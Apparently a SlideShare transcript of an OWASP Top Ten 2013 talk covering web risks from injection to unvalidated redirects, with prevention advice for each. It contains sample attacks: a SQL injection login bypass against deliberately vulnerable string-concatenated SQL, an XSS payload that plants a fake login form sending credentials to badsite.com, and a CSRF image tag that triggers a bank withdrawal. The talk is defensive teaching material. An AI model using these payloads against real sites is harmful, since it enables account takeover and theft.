The OWASP Top 10 Most Critical Web App Security Risks - TdT@Cluj #20

3,693 views

Published on

Talk by Simon Bennetts
Mozilla Security Team, OWASP ZAP Project Lead
At Tabara de Testare Cluj Napoca, Romania

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
3,693
On SlideShare
0
From Embeds
0
Number of Embeds
22
Actions
Shares
0
Downloads
84
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

The OWASP Top 10 Most Critical Web App Security Risks - TdT@Cluj #20

  1. 1. OWASP The OWASP Foundation http://www.owasp.org The OWASP Top Ten Most Critical Web Application Security Risks 2013/12/04 Simon Bennetts Mozilla Security Team, OWASP ZAP Project Lead psiinon@gmail.com Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
  2. 2. The OWASP Top Ten • Most Critical Web Application Security Risks Threat Agent Attack Vector Easy Weakness Prevalence Widespread Weakness Detectability Easy Technical Impact Severe Business Impact ? ? ? Average Common Average Moderate ? ? Difficult Uncommon Difficult Minor ? • A great place to start • Current list published in 2013 • Well known and well regarded • But … the vast majority of websites still have a high, critical or urgent issue 2
  3. 3. The OWASP Top Ten A1: Injection A2: Broken Authentication and Session Management A3: Cross-Site Scripting (XSS) A4: Insecure Direct Object References A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Mission Function Level Access Control A8: Cross-Site Request Forgery (CSRF) A9: Using Components with Known Vulnerabilities A10: Unvalidated Redirects or Forwards 3
  4. 4. A1: Injection Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Average Severe • Tricking an application into including unintended commands in the data sent to an interpreter • SQL, OS Shell, LDAP, Xpath, Hibernate… • Impact: SEVERE! • Unauthorized application access • Unauthorized data access • OS access… 4
  5. 5. A1: Injection User Server Db 5
  6. 6. A1: Injection (SQL) • Example UI: Name: admin ʹ-- Password: ******* Login • Example code: String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and password = ʹ” + password + “ʹ”; • Expected SQL: SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ 6
  7. 7. A1: Injection (SQL) • Example UI: Name: admin ʹ-- Password: ******* Login • Example code: String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and password = ʹ” + password + “ʹ”; • Expected SQL: SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ • Resulting SQL query: SELECT * FROM users where username = ʹadminʹ--ʹ and password = ʹanythingʹ 7
  8. 8. A1: Injection • Prevention: • Use interfaces that provide a parameterized interface: • Prepared Statements • Stored Procedures • • Encode all user input • • Whitelist input Minimize database privileges OWASP SQL Injection Prevention Cheat sheet 8
  9. 9. A2: Broken Authentication and Session Management Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Widespread Average Severe • HTTP is stateless • Session IDs used to track state, good as credentials to an attacker • Can be accessed via sniffer, logs, XSS… • Change my password, forgotten my password, secret questions … • Impact: sessions hijacked / accounts compromised 9
  10. 10. A2: Broken Authentication and Session Management • Prevention: • Use standard implementations • Use SSL for ALL requests • Thoroughly test all authentication related functionality • Use SECURE & HTTPOnly cookies flags • Avoid XSS flaws 10
  11. 11. A3: Cross Site Scripting (XSS) Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average VERY Widespread Easy Moderate • Injecting malicious content/code into web pages • HTML / javascript most common, but many other technologies also vulnerable: • Java, Active X, Flash, RSS, Atom, … • Present in 68% of all web applications in 2011 • Can be present in form and URL parameters AND cookies 11
  12. 12. A3: Cross Site Scripting • Impact: (XSS) • Session hijacking • Unauthorized data access • Web page rewriting • Redirect users (eg to phishing or malware sites) • Anything the web application can do… 12
  13. 13. A2: Cross Site Scripting (XSS) Reflected Persistent 13
  14. 14. A2: Cross Site Scripting (XSS) DOM 14
  15. 15. A3: Cross Site Scripting • Forum: “Have you seen XYZ are being taken over?? (XSS) http://tinyurl/jdfgshr” XYZ – We’re being taken over! https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%20 Search this site: Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! Username: Password: Login 15
  16. 16. A3: Cross Site Scripting (XSS) found! XYZ – No Search Result https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%2 Search this site: No search result found for: “</div><script>document.title=‘XYZ – We’re being taken over!’; Document.getElementById(‘results’).style.display=‘none’; </script> Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’> <tr><td>Username:</td><td><input id=‘user’></td></tr> <tr><td>Password:</td><td><input id=‘password’ type=…” 16
  17. 17. A3: Cross Site Scripting • View Source: (XSS) : <div id = “results”> <p>No search result found for: </p> <!-- start of users search term --> “ </div><script>document.title=‘XYZ – We’re being taken over!’; Document.getElementById(‘results’).style.display=‘none’; </script> Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’> <tr><td>Username:</td><td><input id=‘user’></td></tr> <tr><td>Password:</td><td><input id=‘password’ type=… ” <!-- end of users search term --> : 17
  18. 18. • A3: Cross Site Scripting Prevention: (XSS) • • Whitelist input • Encode output (e.g. using OWASP ESAPI) • • Don’t output user supplied input  If you must support user supplied HTML, use libraries like OWASP’s AntiSamy OWASP XSS Prevention Cheat sheet 18
  19. 19. A4: Insecure Direct Object Reference Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Easy Moderate • A direct reference to an object that is not validated on each request • user=psiinon@gmail.com • company=Mega%20Corp • account=7352820 • Typically in FORM and URL parameters (cookies less likely) • Impact: accounts and data compromised 19
  20. 20. A4: Insecure Direct Object Reference • Attacker notices URL: acct=6065 • Modifies it to acct=6066 • Attacker can view (and maybe change?) the victims account 20
  21. 21. A4: Insecure Direct Object Reference • Prevention: • Use per user or per session indirect object references (ESAPI supports integer and random mapping) • Validate Direct Object References on each request 21
  22. 22. A5: Security Misconfiguration Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Easy Moderate • Another multitude of sins  • Server / Application configuration • Lack of server and application hardening • Unpatched OS, services, libraries • Default accounts • Detailed error messages (e.g. stack traces) • Unprotected files and directories 22
  23. 23. A5: Security Misconfiguration • Impact: • Server compromise • Exploitation of known vulnerabilities • Prevention: • Repeatable server and application hardening process • Patch OS, services, libraries • Strong architecture that ensures secure separation between components 23
  24. 24. A6: Sensitive Data Exposure Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Difficult Uncommon Average Severe • Exposure of: • Credentials • Credit card numbers • Bank account details • Any sensitive data… • In: Databases, Files, Logs, Backups … 24
  25. 25. A6: Sensitive Data Exposure • Impact: • Attackers access or modify sensitive data • Attackers use sensitive data in further attacks • Company embarrassment, loss of trust • Company sued or fined 25
  26. 26. A6: Sensitive Data Exposure • Prevention: • Identify sensitive data • Store as little sensitive data as possible  • Protect with suitable mechanisms (file, db, element encryption, SSL) • Only use standard, well recognised algorithms • Check your implementation! 26
  27. 27. A7: Missing Function Level Access Control Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Average Moderate • UI showing navigation to unauthorized functions • Server side authentication or authorization checks missing • Server side checks relying solely on attacker provided information • Impact: • Unauthorized account and data access • Access to administrative functionality 27
  28. 28. A7: Missing Function Level Access Control • Prevention: • Process for managing entitlements thats easy to update and audit • Deny access by default, require specific grants to specific roles for access to every function • Check workflow for correct state 28
  29. 29. A8: Cross site request forgery Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Common Easy Moderate • Exploits sessions established in other browser windows or tabs • Impact: Attacker can perform any action on behalf of the victim 29
  30. 30. A8: Cross site request forgery Browser 1 4 example.bank.com $$$ 5 2 3 bad.site.com <img src=“…”> <img src= "https://example.bank.com/withdraw? account=bob&amount=1000000&for=mallory" > 30
  31. 31. A8: Cross site request forgery • Prevention: • Never allow GETs to change things • Anti CSRF tokens • Viewstate (ASP.NET) • OWASP CSRF Guard • Challenge-Response • Re-Authentication • CAPTCHA 31
  32. 32. A9: Using Components with Known Vulnerabilities Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Widespread Difficult Moderate • As per the title! • Impact: • Full range of weaknesses, including injection, broken access control, XSS … • Minimal → complete host takeover and data compromise 32
  33. 33. A9: Using Components with Known Vulnerabilities • Prevention: • Identify all components and versions in use • Monitor security of these components • Keep components up to date • Establish security policies governing use • If necessary add wrappers to disable unused or vulnerable aspects of components 33
  34. 34. A10: Unvalidated Redirects and Forwards Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Uncommon Easy Moderate • Redirects are common and send the user to a new site .. which could be malicious if not validated! http://fail.com/redir.php?url=badsite.com • Forwards (Transfers) send the request to a new page in the same application .. which could bypass authentication or authorization http://fail.com/redir.php?url=admin.php 34
  35. 35. A10: Unvalidated Redirects and Forwards • Impact: • Redirect victim to phishing or malware site • Attacker’s request is forwarded past security checks, allowing unauthorized function or data access • Prevention: • Avoid using them • Dont use user supplied data for destination • Validate any user data that must be used 35
  36. 36. Where Next? • Read and understand the full document! • Read the OWASP Developers Guide • Watch the OWASP AppSec Tutorial videos on youtube • Re-examine your code! • Introduce a Secure Development Lifecycle • Use tools like the OWASP Zed Attack Proxy  36
  37. 37. Any Questions? https://www.owasp.org/index.php/Top_10_2013

×